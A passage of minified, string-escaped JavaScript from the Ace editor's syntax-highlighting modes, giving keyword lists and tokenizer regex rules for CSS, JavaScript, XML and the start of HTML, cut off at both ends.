break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var 